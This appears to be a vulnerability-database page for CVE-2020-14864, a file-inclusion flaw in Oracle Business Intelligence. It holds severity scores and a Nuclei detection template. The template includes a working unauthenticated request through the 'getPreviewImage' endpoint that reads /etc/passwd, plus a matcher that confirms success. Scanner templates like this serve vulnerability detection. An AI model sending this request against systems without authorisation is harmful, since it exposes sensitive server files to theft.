7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.6 High
AI Score
Confidence
High
7.8 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:C/I:N/A:N
0.47 Medium
EPSS
Percentile
97.4%
Oracle Business Intelligence Enterprise Edition 5.5.0.0.0, 12.2.1.3.0, and 12.2.1.4.0 are vulnerable to local file inclusion vulnerabilities via “getPreviewImage.”
id: CVE-2020-14864
info:
name: Oracle Fusion - Directory Traversal/Local File Inclusion
author: Ivo Palazzolo (@palaziv)
severity: high
description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0, 12.2.1.3.0, and 12.2.1.4.0 are vulnerable to local file inclusion vulnerabilities via "getPreviewImage."
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
remediation: |
Apply the latest security patches and updates provided by Oracle to fix this vulnerability.
reference:
- http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html
- https://www.oracle.com/security-alerts/cpuoct2020.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-14864
- https://github.com/merlinepedra/nuclei-templates
- https://github.com/sobinge/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-14864
cwe-id: CWE-22
epss-score: 0.4541
epss-percentile: 0.97318
cpe: cpe:2.3:a:oracle:business_intelligence:5.5.0.0.0:*:*:*:enterprise:*:*:*
metadata:
max-request: 2
vendor: oracle
product: business_intelligence
tags: cve,cve2020,oracle,lfi,kev,packetstorm
http:
- method: GET
path:
- '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1'
- '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'root:.*:0:0:'
- type: status
status:
- 200
# digest: 4a0a004730450220301c1ccec08f0b8a2313e6ea62b0556adacd5dd33597547f10af2990730050940221009d500c9bbdf08a1cea7b841a5cbd8ffe901e3271ed97a3a489cd5ab76369ba6e:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.6 High
AI Score
Confidence
High
7.8 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:C/I:N/A:N
0.47 Medium
EPSS
Percentile
97.4%